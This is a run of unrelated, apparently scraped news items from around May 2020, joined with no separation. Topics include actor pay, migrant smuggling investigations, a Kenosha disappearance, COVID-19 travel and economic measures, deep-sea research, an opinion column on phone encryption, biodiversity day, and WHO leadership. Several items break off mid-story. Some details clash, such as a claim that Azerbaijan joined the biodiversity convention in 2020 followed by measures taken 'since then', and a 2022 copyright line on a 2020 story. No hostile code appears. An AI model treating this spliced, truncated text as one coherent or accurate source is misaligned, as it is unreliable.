RELATED: This Lord of the Rings Star Is a Real-Life Knight and He Didnt Even Want the Honor

The movie star revealed he had a surprisingly low pay check to play Legolas. Its a good thing he had a starring role in another movie franchise.

He told Howard Stern how much he was paid for the trilogy. Nothing, I got nothing. $175 grand . . . Listen, greatest gift of my life. Are you kidding me? Id do it again for half the money, he said. I think there was a little bump when the movies came out . . . It was like a little bump, but it was nice.

There is one way the role did pay off for Bloom. He claimed the success of Lord of the Rings led to a bigger check for him to play Will Turner in the Pirates of the Caribbean franchise.

I was in a good spot, he said. They negotiated pretty well for me to buy a couple of houses, it was that kind of money.

It seems like the role paid off for Bloom in the end. Sadly, there is a slim chance he will play Legolas again.
SEVERAL of the 29 Sri Lankan migrants who have been detained in the TCI since landing illegally last year have flown to the US to help with human trafficking investigations.





They arrived in the territory on board a 40 foot Haitian sloop on the evening of October 10 and have been held in the Border Control Detention Centre ever since.





This week some of the men voluntarily boarded a US Customs and Border Protection flight to assist as witnesses with the ongoing international investigations.





On his Instagram page on Friday (May 15), Governor Nigel Dakin said: "You may recall that one of the many sloops we intercepted, months ago, had a group of Sri Lankans on board.





"It seemed an anomaly at the time and the police moved quickly to develop an evidential case.





"Its still too early to explain the full complexity of this but it helped shine a bright light on the international people smuggling business that bounces people through multiple jurisdictions bound, in the end, for North America.





The governor explained that the arrests and the energy put into the subsequent investigation coincided with the development and launch of a National Security Strategy in the TCI.





It not only lifted TCIs capability to intercept the sloops but also called out the need to take apart the underlying business model and those that profit from it, he wrote.





The governor said it is all part of a multi-jurisdictional investigation into criminal activity that spans half the globe.





"Its genesis was here in TCI, he added, "and none of the complex investigation that has since resulted would have been possible without some excellent policing work by a number of named, determined, RTCIPF officers.





"This story will continue to develop and it will be excellent when the full story can be told.





"This investigation has allowed us to pull the curtain back on those who profit, including those who profit in TCI, from human misery.




Police are still searching for a Kenosha man who was reported missing Tuesday after signs of a violent struggle were found in his apartment.

Friends and family last heard from Rosalio Gutierrez Jr. on Sunday. When the woman Gutierrez was dating was unable to reach him, she went to his home at the Woodcreek Apartments on Tuesday.

According to a criminal complaint filed Thursday, she found the sliding glass door to his apartment open and looking inside saw furniture had been moved around, an area rug was gone and there appeared to be large amounts of blood on the floor and furniture.

Police found Gutierrezs vehicles parked outside.

On Friday police put out a plea for residents of Ozaukee and Sheboygan counties to report any information that they may have seen Gutierrez there. Police would not say why they believed he may have been in those areas.

Also Friday, police said digital billboards in the region were displaying missing person information seeking information about Gutierrezs whereabouts.

Gutierrez, 40, is single and lived alone. The father of two children, he is a local real estate investor. In pleas for his safe return, friends online described Gutierrez as kind, funny and big-hearted.

Kenosha Police said Friday that the investigation into Gutierrezs whereabouts are ongoing.

On Thursday, a Mequon man  39-year-old Zachariah Anderson  was charged with stalking Gutierrez and the woman Gutierrez was dating. Anderson, the womans former boyfriend and father of her children, was alleged to have been jealous of the new relationship. According to the criminal complaint, he is alleged to have been tracking the womans movements and watching her while she was with Gutierrez. He is also alleged to have taken items from Gutierrezs car.

Deputy District Attorney Angelina Gabriele told a court commissioner at Andersons initial court appearance that he is the focus of police investigations into Gutierrezs disappearance.

In December, the woman Gutierrez was dating sought a restraining order against Anderson in Washington County. In the petition, she described a series of events  one as early as 2008  in which he became angry, threatening and destructive, and in at least one instance attempted to take one of their children out of school. She said she feared Andersons mood changes, mental instability and violent episodes.

My concern is that it will increasingly become more violent and physical if he does not get help for his emotions and anger, the woman wrote in the petition. I fear the retaliation and non-physical abusive behavior that could lead to physical.

At a hearing in January, a Washington County judge denied the petition.

A new restraining order petition was filed against Anderson in Washington County on Thursday.

Anderson is being held on $35,000 bond on the stalking charge.

Kenosha Police are asking that anyone with information about Gutierrezs disappearance contact the Kenosha Police Detective Bureau at 262-605-5203. Callers wishing to remain anonymous can call Kenosha Area Crime Stoppers at 262-656-7333.

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DUBLIN, May 22 (Reuters) - Ireland's new regulations requiring incoming travellers to provide the address at which they will self-isolate for 14 days will initially be in effect from May 28 to June 18, Health Minister Simon Harris said on Friday.

The government announced last week that it would now require arrivals to complete a "passenger locator form", which has been voluntary since the quarantine rule was introduced last month.

Britain will introduce similar quarantine measures from June 8 and also announced the details on Friday. Those measures will not apply to people arriving from Ireland.

Airlines have told both governments that the rules are impossible to implement.

The Irish regulations will apply to all nationalities, including returning Irish residents, and be reviewed on June 18. Harris told Reuters this week the government "honestly don't know" how long they will be needed.

Failure to complete the form or to update contact details if they change, or providing false information, could lead to a fine of up to 2,500 euros ($2,700) or six months in prison.

Aircraft crew, hauliers and passengers transiting to another jurisdiction will be exempt.

"These are extraordinary measures but they are necessary in a time of a public health crisis," Harris said in a statement.

The number of confirmed coronavirus cases in Ireland rose by 115 to 24,506 on Friday, with related deaths up 11 to 1,592.

It was the first time in seven days that the number of new cases had exceeded 100.

Ireland's Chief Medical Officer, Tony Holohan, said the cases stemmed from exposures prior to the easing of stay-at-home restrictions a week ago. ($1 = 0.9182 euros) (Reporting by Padraic Halpin; Editing by Kevin Liffey)
Source: Xinhua| 2020-05-22 20:10:39|Editor: huaxia

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BERLIN, May 22 (Xinhua) -- The German Council of Economic Experts (GCEE) announced on Friday that it has proposed an economic stimulus package that would support structural change in the country during the coronavirus pandemic.

The government should refrain from introducing a large number of sector-specific measures, such as a purchase premium for vehicles, which is currently being discussed in Germany, the experts wrote in an article for the German newspaper Sueddeutsche Zeitung on Friday.

Instead, GCEE suggested three measures "to support economic recovery and accompany structural change" in Germany, including more possibilities for tax loss carryback and carryforward.

This measure would provide companies with "direct, short-term liquidity" and increase the incentive to invest today, according to GCEE, which was established in the 1960s and is an academic body that advises the German government on economic policy issues.

Furthermore, a "quick and comprehensive reform of energy prices" in Germany would provide noticeable relief for households and businesses alike, the experts noted.

Due to the regressive effect of energy taxes, this would increase the disposable income of low-income households in particular. In addition, a lower electricity price would support the transformation towards a more climate-friendly energy system, according to the experts.

Thirdly, GCEE proposed to promote private and public investments in education, public transport and the expansion of digitization in Germany.

Through digital education and training, German companies and employees could use the additional available time caused by short-time work and unemployment during the current COVID-19 crisis to develop new skills and prepare for the post-recession period, said the experts.

Last week, the German Federal Statistical Office (Destatis) announced that the country's gross domestic product (GDP) in the first quarter of 2020 had declined by 2.2 percent compared to the previous quarter.

The GCEE experts expected that the coronavirus crisis would cause a "historically large slump" in German economic output in the first half of 2020. Despite financial aid by the government, many companies were still endangered by insolvency. Enditem
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Kwesi Pratt Jnr, a leading member of the defunct Alliance for Change, organisers of the Kume Preko demonstration, has said that President Nana Akufo-Addo, who was also part of the group was their Spokesperson and not the chairman, or secretary.



Pratt explained that the nine leading members of the group, set out to build a strong collective leadership.



Nothing happened that did not involve everybody, nothing happened we all didnt agree on. Nobody gave instructions," Pratt said.



Narrating why the position of Spokesperson was conferred on Akufo-Addo, Mr Pratt indicated that the presidents name came up after the first press statement was drafted and they needed someone to read it out at a press conference the movement organised.



He explained further that he and Akoto Ampaw suggested that Nana Akufo-Addo should be the one to read the press statement on behalf of the movement as the spokesperson of Alliance for Change.



Throughout, Nana Akufo-Addo was known as the spokesperson of the Alliance for Change. We didnt have a chairman, we didnt have a secretary, we didnt have any position. The only position we had was the position of spokesperson and that was conferred on Nana Akufo-Addo simply because he read the first statement at the first press conference, Kwesi Pratt told Paul Adom-Otchere on Good Evening Ghana on Thursday.



This, Pratt said, made Akufo-Addo the face of the Alliance for Change and it worked.



He said most of the people who were part of the demonstration normally worked at the background without anybody noticing them.



The leadership of Alliance for Change led over 100,000 Ghanaians to embark on perhaps, the greatest demonstrations in the annals of the country's political history post Fourth Republic, also known as KUME PREKO, to wit, You may as well kill me.



This was a rare protest against the Jerry John Rawlings administration in the city of Accra on May 11, 1995, as the demonstrators opposed the introduction of the Value Added Tax (VAT) initiative by the Jerry John Rawlings administration, corruption and hardship, with chanting of war songs amid Kume Preko.



The demonstration was initially billed as a peaceful protest but quickly became violent when some persons shot live bullets into the crowd resulting in the deaths of some of the protestors.



The Masterminds



Those at the forefront of these protests which also took place in Kumasi and Takoradi were Nana Addo Dankwa Akufo-Addo (Now the President of Ghana); Dr. Charles Wereko-Brobbey (Politician); Kwesi Pratt Jnr (Journalist); Dr. Nyaho Tamakloe (Politician); and Kweku Baako Jnr. (Journalist).



Others were Akoto Ampaw (Lawyer); Victor Newman (Politician); Kwaku Opoku (Politician); Napoleon Abdulai (Politician); and Stanley Agyiri Blankson (Politician).

Source: ghanaweb









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On 14 February, nine National University of Singapore (NUS) researchers hopped onboard a vessel to start a 37-day expedition to explore an understudied area nestled in the Pacific Ocean known as the Clarion-Clipperton Zone (CCZ). Flat and deep -- reaching down between 4,000 to 6,000 metres below the surface -- the CCZ is often referred to as an abyssal plain.

The CCZ is characterised by polymetallic nodule fields which contain commercially valuable metals such as manganese, cobalt, nickel, copper, and rare earth elements, formed over millions of years. The expedition is part of Keppel-NUS Corporate Laboratory's research, and it was led by Keppel Corporation's subsidiary, Ocean Mineral Singapore (OMS) - the only Singapore company awarded an exploration contract for polymetallic nodules by the International Seabed Authority. The team aimed to conduct environmental studies and surveys for the collection of these polymetallic nodule deposits in an environmentally friendly way. This is the second such expedition involving NUS researchers to CCZ.

Polymetallic nodules contain cobalt, copper, nickel, manganese and other valuable ores which are used in electronics and green technologies, such as electric cars, wind turbines and solar panels.

Mr Aziz Merchant, Director of OMS, said, "Keppel is committed to sustainable urbanisation and we are pleased to partner NUS in conducting feasibility studies to ensure that deep-sea mineral collection can be conducted with minimal disruption to the environment."

"The vast seafloor of the CCZ, with animals living on and in the nodules and sediment, comprises a unique deep-sea habitat that is little-known. More work needs to be done to understand the impact of nodule collection on the biological community and how we can conserve and protect it for future generations," said NUS Tropical Marine Science Institute (TMSI) Senior Research Fellow Dr Tan Koh Siang, one of the members of the expedition team.

The abyssal floor of the CCZ may appear barren, but the team found hundreds of deep-sea species, with many possibly new to science. Living in the cold seafloor of the CCZ, many of these creatures subsist almost exclusively on food that falls from above, and are often very small, measuring less than two centimetres.

"My main interest is in a group of crustaceans known as tanaids, which are somehow very common in the CCZ. These tiny animals have a slender body and most species live in tubes that they construct using silk secreted from their legs. Because of their numbers and widespread distribution, it is an ideal candidate to be considered as an environmental indicator," shared Mr Chim Chee Kong, TMSI Research Associate.

Box corers were used in the sampling of the seabed. After a piece of the seabed has been brought up from the sea floor, the team would take samples of the sediment to study the microbes, foraminiferans, meiofauna, macrofauna and megafauna.

"I was very excited to find tubes made by one of the attached stages - called polyps - of a jellyfish on polymetallic nodules. As these tubes were quite common, it would be interesting to observe viable polyps' occurrence and abundance as deep-sea landscapes change over time with increased human activity. Empty tubes also provide attachment surfaces for other organisms such as foraminifera," enthused Ms Iffah bte Iesa, Curator at the NUS Lee Kong Chian Natural History Museum.

The team discovered three species which are potentially new to science, and they include a deep-sea sponge belonging to the family Polymastiidae, some isopod crustaceans, as well as a unique type of Foraminifera -- single-celled organisms with nuclei -- with a skeleton made up of numerous glass-like needles woven together.

Other creatures collected include an unusually long deep-sea polychaete worm, a variety of copepod crustaceans, as well as monoplacophoran limpets.

By determining the identities and spatial distribution of new and existing species in this relatively unknown seafloor, the team hopes to further understand the biology and ecology of the CCZ. The knowledge gained will help in managing the nodule collection activities effectively without undue detriment to the ecosystem.

The immediate plan for the team is to sort, identify and count the samples they had collected. "This is an involved process as most of the organisms are less than two millimeters in size. If new species are discovered, they will need to be formally described and published," said Dr Tan.

###
GRAFTON  A St. Louis man has been charged with going more than 50 mph above the speed limit during a chase that ended in Grafton.

According to Jersey County Sheriffs Department, Cory Johnson, 27, of St. Louis was arrested Saturday on charges of aggravated fleeing and eluding, speeding, resisting a peace officer, driving while license is suspended, aggravated use of a weapon and two counts of aggravated assault.
The sons of murdered Saudi journalist Jamal Khashoggi said Friday they forgive the killers of their father, an announcement analysts said effectively grants clemency to five convicted people on death row.

Khashoggi  a royal family insider turned critic  was killed and dismembered at the kingdoms consulate in Istanbul in October 2018, in a case that tarnished the reputation of de facto ruler Crown Prince Mohammed bin Salman.

His familys pardon could spare the lives of five unnamed people sentenced to death over the murder in a December court ruling that exonerated two top aides to the crown prince.



We the sons of martyr Jamal Khashoggi announce we forgive and pardon those who killed our father, the Washington Post columnists son Salah Khashoggi announced on Twitter.

Saudi authorities did not immediately comment on the legal ramifications of the announcement from Salah, who resides in the kingdom and has denied reports of a financial settlement with the government.

Follow Us on Facebook  @LadunLiadi; Instagram  @LadunLiadi; Twitter  @LadunLiadi; Youtube  @LadunLiadiTV for updates
FCC awards Children's National $928K for regional pediatric telehealth consortium

WASHINGTON - (May 21,2020) -- Children's National Hospital is establishing a regional pediatric telehealth consortium in response to coronavirus with $928,000 in funding awarded by the Federal Communications Commission's Wireline Competition Bureau. The funding, which is part of the FCC's COVID-19 Telehealth Program, enables the nationally-ranked pediatric hospital to expand its telehealth platform to support 15 healthcare sites in the D.C.-Maryland-Virginia region serving children and young adults, providing care to children with COVID-19 as well as those who are medically vulnerable and helping to protect healthcare workers as the pandemic threat continues.

The new telehealth consortium will encompass health care sites serving urban, suburban and rural communities across the District of Columbia, Maryland and the Commonwealth of Virginia.

The consortium initiative includes establishing the COVID-19 Telemedicine Command Center, which will be hosted by Children's National and staffed by a team of virtual and in-person providers and clinicians. The Command Center will provide 24/7 coordination of all telehealth activities across all consortium healthcare sites.

The FCC funds will be used for telehealth carts, tablets and other connected devices, the telehealth platform, telehealth equipment and innovative AI (augmented intelligence) to treat seriously ill COVID-19 pediatric patients, as well as patients up to 30 years old, and to continue to provide evaluations, diagnoses, and care to patients with acute or chronic health needs via telehealth. Funds will also support telehealth devices and data plans to provide care for underserved patients.

The expanded telehealth infrastructure is designed to support provider-to-patient pediatric care and provider-to-provider consultations through a connected "virtual hospital" model. It will be used for emergency room, NICU and inpatient care to provide access to specialized expertise and for outpatient care of COVID-19 patients.

The regional consortium model builds upon the well-established telehealth program at Children's National which employs the latest technology and encompasses 1,200 providers across a wide range of pediatric specialties.

The Children's National consortium initiative is led by Dr. David Wessel, executive vice president and chief medical officer, hospital and specialty services; Dr. Ricardo Munoz, division chief, cardiac critical care medicine, executive director, telehealth, and co-director, Children's National Heart Institute; and Dr. Shireen Atabaki, medical director, informatics, associate director, telehealth, and emergency medicine physician.

The FCC's COVID-19 Telehealth Program was authorized by the CARES Act and to date has approved funding for 132 health care providers in 33 states, plus Washington D.C., for a total of just over $50 million in funding.

###

About Children's National Hospital

Children's National Hospital, based in Washington, D.C., celebrates 150 years of pediatric care, research and commitment to community. Volunteers opened the hospital in 1870 with 12 beds to care for Civil War orphans. Today, 150 years stronger, it is the nation's No. 6 children's hospital. It is ranked No. 1 for newborn care for the third straight year and ranked in all specialties evaluated by "U.S. News & World Report." Children's National is transforming pediatric medicine for all children. In 2020, it will open the Children's National Research & Innovation Campus, the first in the nation dedicated to pediatric research. It has been designated twice as a Magnet hospital, demonstrating the highest standards of nursing and patient care delivery. This pediatric academic health system offers expert care through a convenient, community-based primary care network and specialty outpatient centers in the D.C., metropolitan area, including the Maryland and Northern Virginia suburbs. Children's National is home to the Children's National Research Institute and Sheikh Zayed Institute for Pediatric Surgical Innovation and is the nation's seventh-highest NIH-funded children's hospital. It is recognized for its expertise and innovation in pediatric care and as a strong voice for children through advocacy at the local, regional and national levels.

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
Deputy Nationals leader David Littleproud has called on consumers to boycott struggling department store chain Target after parent company Wesfarmers said it would shut or convert up to 167 shops across the country.

Up to 75 Target stores will be closed and another 92 converted to Kmart as part of a major restructure. The move will predominantly affect Wesfarmer's regional-focused Target Country stores and put 1300 jobs at risk, drawing the ire of Mr Littleproud.

"It just goes to show they don't give a rat's about us," the Agriculture Minister told media on Friday. "If they want to turn their back on the most vulnerable, it just goes to show that corporate Australia has lost its way morally.

"Australians should vote with their wallets and not go near them."
Source: Xinhua| 2020-05-22 15:48:44|Editor: huaxia

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A freight train loaded with cars, accessories, food and clothing left north China's port city of Tianjin for Ulan Bator, Mongolia on Wednesday. This is the first train on the China-Europe freight route that departed from Tianjin Pilot Free Trade Zone (FTZ) since it was established in 2015. The goods from Japan and the Republic of Korea arrived at the port of Tianjin before being transported to its destination via the port of Erenhot in north China's Inner Mongolia Autonomous. The whole journey is 1,583 km and takes about five days. From January to April, a total of 2,920 China-Europe freight trains transported a cargo of 262,000 TEUs (20-foot equivalent units), up 24 percent and 27 percent from a year earlier, respectively.
Moscow Regrets US Reported Intention to Quit Open Skies Treaty

Sputnik News

14:22 GMT 21.05.2020(updated 15:45 GMT 21.05.2020)

Earlier, the US accused Russia of abusing the terms of the treaty, claiming that Moscow had been unfairly limiting US flights through its airspace.

Pentagon has nothing to announce on the Open Skies Treaty, remains committed to agreements that advance US security, its spokesman said on Thursday.

Earlier in the day, the New York Times reported, citing senior Trump administration officials, that Washington plans to inform Moscow on Friday about its intention to withdraw from the Open Skies Treaty.

Moscow has not received an official notification from Washington yet about its decision to leave the Open Skies Treaty, but if it happens, it will be regrettable, Vladimir Ermakov, the head of the Department for Nonproliferation and Arms Control at the Russian Foreign Ministry, said.

"If it does happen, it will be very regrettable, of course. But unfortunately, it goes with the general policy of the current [US] administration [which aims to] derail all agreements on arms control. This treaty is crucial in terms of ensuring predictability and mutual trust in Europe and on a larger scale," the diplomat continued.

In March, US Defence Secretary Mark Esper said that the US was concerned about the treaty "as it stands now", including limits placed on flights near the Russian borders with Abkhazia and South Ossetia, two breakaway republics from Georgia which are recognised by Moscow as independent countries and not by Washington.

The Open Skies Treaty, which entered into force in 2002, establishes a program of unarmed aerial surveillance flights over the entire territory of the states who are members of the accord.

Trump's intent to pull out from the Open Skies Treaty will be perceived as additional evidence that he also wants to withdraw the United States from the New START Treaty, the report said.

A Sputnik

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(Bloomberg Opinion) -- There are two important lessons in this weeks announcement that the Federal Bureau of Investigation has finally succeeded in cracking two mobile phones belonging to Mohammed Alshamrani, the aviation student who killed three people last December at a naval base in Pensacola, Florida.

The first lesson is that cracking an encrypted device takes time and effort even when the federal government brings all its resources to bear. The second is that Apple still refuses to build tools to make hacking its mobile devices easier.

Maybe Im in the minority, but Im happy about both.

The story is a familiar one. After the Pensacola attack, the FBI found a pair of iPhones belonging to the shooter. The Justice Department promptly obtained a warrant for their contents, and, lacking Alshamranis password, went to Apple to ask for help breaking the encryption that protects the contents from snoopers. Although the company did provide certain assistance, it refused to develop software tools to crack its own devices. This has been Apples position for years, and its one Ive defended in this space.

So what happened? As in the past, after fulminating for a bit, the FBI got down to work and managed, through means not disclosed, to get into Alshamranis phones, obtaining valuable intelligence in the process. It just took longer than the government had hoped.

That the FBI found a way past the phones defenses is no surprise. The tech community was skeptical from the start of the governments claim to be unable to crack the devices. Security consultants have long warned that end-to-end encryption is never fully secure. This is particularly true when the data is at rest rather than in transit. So even if a hacker (governmental or not) cannot monitor a communication while its being sent, as long as the message remains resident on either the sending or the receiving device, theres a target for technological attack.

In other words, the feds dont really need Apple to get into an iOS device. Just this past January, the Justice Department admitted that the FBI had been able to break into an iPhone owned by Lev Parnas, an associate of Rudy Giuliani who faces criminal indictment. The government complained that because Parnas wouldnt provide his password, the FBI needed nearly two months to unlock the phone.

Story continues

The implication is that cracking encryption should be easier. But it shouldnt. That breaking into a locked mobile device takes time and effort is one of the few guarantees we have that the government will only rarely invest the resources needed to do it.

Encryption is getting better. As innovations in the field begin to scale, it may soon be a whole lot better. Thats why under both the current administration and its predecessor, national security officials have called upon tech companies to include in their devices special keys that will allow access in an emergency.(1) The tech industry has resisted these demands, but few went as far as Apple  until recently. Just over a year ago, Google added protections that make hacking Android phones harder, even when the hacker is law enforcement. Some experts believe that Android phones are now harder than iPhones to crack.

I'm told that behind closed doors, much of Silicon Valley thinks Apple is wrong to be so intransigent. Cooperation with law enforcement is routine among U.S. businesses; some techies see no reason for Apple to get a pass. Although I see the point, I continue to find the companys position attractive. Im left uneasy by the notion that privacy should be restricted because bad people might misuse it.

Still, the pressure has had its effect. Although Apple steadfastly refuses to build a back door into its mobile devices, earlier this year, the company abandoned plans to allow iOS users fully encrypt their iCloud data. Given that iCloud has an estimated 850 million users  and that the service is the only practical way to back up an iPhone  this is no small concession.

What this means in practice is that when law enforcement comes to Apple with a warrant for the contents of your phone, the company will turn over whatever youve uploaded. In the case of the Pensacola shooter, Apple has proudly touted that it did exactly that. The caveat is important. Even if what attracts you to Apple is the end-to-end encryption of messaging and the difficulty of breaking into your phone, whatever you upload to the cloud is available.

Maybe this is an attractive compromise: Keep your data resident only on your phone and the government will need months to break in. Upload your data to the cloud, and a warrant will gain rapid access to all.

But I worry. My rather old-fashioned view is that privacy is less a right than a check on the power of the state. Government cant regulate what its unaware of. Thats why Im glad that even for the FBI, cracking a phone takes time and effort. The cost in resources forces officials to be picky about when to try.

You might object that the next case might present a true need to hurry. Youd be right. Theres always a hard hypothetical: a child at risk, a hidden bomb ticking away. But even if we can imagine a moment when wed all agree that the maker ought to find a way to open the phone, we do better to pretend that we cant. Nearly six decades ago, the great constitutional scholar Charles Lund Black pointed out that absolutist rules have the virtue of being rarely breached. As rules grow more flexible, we become more creative at coming up with exceptions.

Thats why if our goal is to ensure that manufacturers will help government break into our phones only in the most urgent circumstances, the best approach is to cheer them when they say Never.

(1) As the National Research Council predicted a quarter century ago.

This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Stephen L. Carter is a Bloomberg Opinion columnist. He is a professor of law at Yale University and was a clerk to U.S. Supreme Court Justice Thurgood Marshall. His novels include The Emperor of Ocean Park, and his latest nonfiction book is Invisible: The Forgotten Story of the Black Woman Lawyer Who Took Down America's Most Powerful Mobster.

For more articles like this, please visit us at bloomberg.com/opinion

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2020 Bloomberg L.P.
By Laman Ismayilova

Globally, around 25 percent of all animal and plant species are threatened with extinction.

International Day for Biological Diversity (May 22) is celebrated annually to raise awareness on the importance of biodiversity as well as global issues on biodiversity loss.

World Biodiversity Day has a long history behind it. During the United Nations Conference on Environment and Development (1992), also know as "The Earth Summit" held in Brazil, state and government leaders agreed on a strategy for sustainable development.

One of the most important agreements reached during the Earth Summit was the Convention on Biological Diversity, which came into force on December 29, 1993.

Azerbaijan joined the Convention on Biodiversity in 2020. Since then, a number of measures have been taken by the state to protect the country's biodiversity.

As a result, the chain of specially protected natural territories has been expanded.

Moreover, new national parks, state nature reserves have been also created to protect the country's ecosystems.

Absheron National Park, Ag-Gol National Park, Goygol National Park, Hirkan National Park, Shahdag National Park, Shirvan National Park, Zangazur National Park as well as state reserves in Sheki, Gusar, Gabala, Gakh, etc. are among them.

With its unique climate, the country's flora is much richer based on the number of species than that of other republics of the South Caucasus. More than 4,500 species of plants have been grown here.

Azerbaijan has a rich and diverse fauna thanks to the country's nature.

There are nearly 97 species of mammals,357 species of birds,67 species of reptiles and amphibians, 97 species of fish, and over 15 thousand species of invertebrates in Azerbaijan.

The theme of this year's International Day for Biological Diversity (IDB) 2020 is "Our solutions are in nature".

The slogan focuses on hope, solidarity and working together to build a future of life in harmony with nature.

---

Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova

Follow us on Twitter @AzerNewsAz
Federal prosecutors have declined to pursue criminal charges against a chemical company that for years discharged compounds with health risks that arent fully understood into a North Carolina river, the company disclosed.

The U.S. Attorneys Office and the Environmental Natural Resources Division of the U.S. Justice Department were investigating potential violations of the federal Clean Water Act by The Chemours Co., a spinoff of DuPont that has a plant near Fayetteville, WRAL-TV reported.

In 2017, it was found that Chemours was releasing a compound called GenX into the air and water near the plant, which eventually made it into drinking water sources including the Cape Fear River. GenX is a chemical used in nonstick surfaces such as Teflon. The EPA classifies it as an emerging contaminant needing research, but has previously said animal studies suggest it can affect organs.

Chemours Co. told shareholders in a Securities and Exchange Commission filing released this month that prosecutors notified the company in March they were declining to pursue charges and were closing the case.

Chemours said that during the course of the review, it met with prosecutors, responded to subpoenas and sent witnesses to testify before a grand jury and to be interviewed by government investigators.

The company has also faced lawsuits and a state investigation. In a consent order with North Carolina in 2018, it agreed to pay a $12 million penalty and $1 million for investigative costs, and to sharply reduce air emissions of GenX. The company also agreed at the time to conduct studies of the health risks posed by releases into the environment of GenX and other per- and polyfluoroalkyl substances, or PFAS.

The EPA also said last year it would create a plan to help communities with monitoring and detecting PFAS pollution, though critics said more aggressive action was needed.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

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Molina Healthcare of Michigan is responding to the catastrophic flooding in mid-Michigan with a $100,000 donation to the United Way of Midland County.

Michiganians have endured difficult times in recent weeks and we hope this donation will ease some burdens, said Christine Surdock, plan president of Molina Healthcare of Michigan. The funds will support immediate relief efforts as Molina continues to provide trusted service for our members, providers and communities.
Sheep meat exports from the UK fell by 40 percent in March compared to the same period as last year, and imports have climbed.

In March, UK exports of fresh and frozen sheep meat fell 3,500 tonnes in volume compared to the previous year, values also fell by a smaller 21%.

Conversely, sheep meat imports increased 16% (1,300 tonnes) in volume and 34% in value, new figures by AHDB show.

According to Jennie Tanner, AHDB analyst, the figures illustrate the shipping challenges presented by the coronavirus crisis.

The value of these exports fell by less, down 21 percent to 28.5 million as the unit price increased 32 percent.

"France went into lockdown around a week before the UK, and so demand from the foodservice sector fell sharply in March, and with it the need for imported lamb," Ms Tanner explained.

Exports to all the UKs main export destinations have fallen with shipments to France - the UKs largest export destination - falling 45% on the year to 1,700 tonnes.

Exports to Germany, Belgium and Ireland were down 48 percent, 21 percent and 50 percent respectively.

Marchs exports bring UK exports for Q1 2020 to 18,200 tonnes, down 15% with a value increase of 89.8 million up 1%.

In comparison to 2019, the volume of imports were up 16 percent in March, to 9,300 tonnes, AHDB says.

"Most of this increased volume came from New Zealand and Australia up 1,100 tonnes and 700 tonnes respectively," Ms Tanner said.

"Conversely imports from Ireland and the Netherlands were down 52% and 21%. The value of these imports rose 34% to 55.8m due to an increase of 15% in the average unit price.

"Shipments rose slightly because New Zealand and Australia struggled to ship some product to China," she explained.

"This sheep meat would have left ports in February, given the six-week shipping time. At that time, the UK supply situation was known to be tight, before coronavirus closed the eating out market."

UK imports of fresh and frozen sheep meat for the first quarter of 2020 now stand at 16,900 tonnes down 6% though the value has increased 10% to 95.6m.
"Nature will provide us solutions", said Union Minister Prakash Javadekar on Friday in a virtual celebration of International Biodiversity Day, noting that India was ready to share its experiences and best practices with nations interested in improving their biodiversity.

In his address through video conference, Javadekar said India has the finest biodiversity in the world and a robust system against poaching of species.

Stressing on this year's theme, Javadekar stressed that solutions are in nature and therefore, protecting the nature is very important especially in the context of COVID-19 as it shields from various catastrophes, including zoonotic diseases.

"Nature will provide the solutions. This is our message to the world on International Biodiversity Day," he said, adding that India welcomes those countries which are interested in improving their biodiversity, and is ready to share the experiences and best practices with them.

The minister, however, stressed on the need to limit consumption and promote a sustainable lifestyle.

"We cannot consume endlessly. We have to restrict our consumption," he said.

Speaking about pollination, Javadekar said that with the pesticides, the bees and insects which used to pollinate have vanished.

"India is reviving beekeeping culture. Bees pollinate, collect honey and serve the nature," he said.

The minister launched several initiatives, including United Nations Programme (UNEP) Campaign on Illegal Trafficking of Endangered Species: 'Not all Animals Migrate by Choice'.

Illegal trade in wildlife carries the risk of spreading dangerous pandemics. The campaign 'Not all Animals Migrate by Choice', launched by the Wildlife Crime Control Bureau, with UNEP, seeks to address these environmental challenges, to raise awareness, and to advocate solutions, the minister said.

"I am launching UNEP endangered species campaign. Fortunately, we have a robust system of anti-poaching activities. Year after year there are less incidents of poaching because of our vigil. Therefore, India has the finest biodiversity with 70 per cent of world's population of tigers, 30,000 elephants, 3,000 single-horned rhinos and thousands of dolphins and many other species," he said.

The minister also launched the National Biodiversity Authority (NBA) and United Nations Development Programme (UNDP) Biodiversity Samrakshan Internship Programme which proposes to engage 20 students with postgraduate degrees for a period of one year through an open, transparent, online competitive process.

A webinar series on Biodiversity Conservation and Biological Diversity Act, 2002 was also launched along with the WWF Model Conference of Parties (MCoP), an initiative to engage in conversations around impact of humanity's footprint on biodiversity and also the importance of sustenance of biodiversity, the minister said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Union Health Minister Harsh Vardhan took charge as the chairman of the WHO Executive Board on Friday and asserted that a worldwide crisis like the COVID-19 pandemic has underscored the need for strengthening global partnerships to re-energise investment in global public health.

Vardhan's elevation to the chairmanship of the 34-member World Health Organisation (WHO) Executive Board comes amid growing calls, including by US President Donald Trump, to investigate how coronavirus originated in China's Wuhan city and subsequent action by Beijing.

Tensions are running high within the UN health body after Trump warned WHO that he would reconsider America's membership and "permanently freeze" the body's funding if it does not demonstrate its "independence" from China in the next 30 days.

Vardhan, who succeeded Dr Hiroki Nakatani from Japan, paid tribute to the lakhs of people who have lost their lives due to the global COVID-19 pandemic and also requested all dignitaries present on the occasion to give a standing ovation to all the frontline health workers and other "COVID warriors by saluting their dignity, determination and dedication".

Vardhan was elected as the Chair of the Executive Board of World Health Organization for the year 2020-21 during the 147th session of the board in a meeting that was held virtually.

The proposal to appoint India's nominee to the executive board was signed by the 194-nation World Health Assembly on Tuesday.

At the 72nd Regional Committee Session of WHO South-East Asia in September 2019, member states had nominated India to be member of the WHO Executive Board from the Region to replace Sri Lanka whose term expired in May 2020 and also to lead 147th and 148th Sessions of the Executive Board as Chairperson.

Congratulating Vardhan, Regional Director for WHO South-East Asia Poonam Khetrapal Singh, said, "Dr Harsh Vardhan has assumed this post at a very challenging time. I wish him all the best in steering the executive board as it addresses this defining pandemic and other public health issues."



"Dr Vardhan has a rich experience in public health. He is the pioneer of India's successful pulse polio programme and has been in the forefront in the fight against tobacco and many other issues. The world can now gain from his expertise and experience," she said.

The other countries from WHO South-East Asia Region in the Executive Board are Bangladesh (2019-2022) and Indonesia (2018-2021).

"I feel deeply honoured to have the trust and faith of all of you. India and all my countrymen, too, feel privileged that this honour has been bestowed upon us," Vardhan said after assuming the charge.

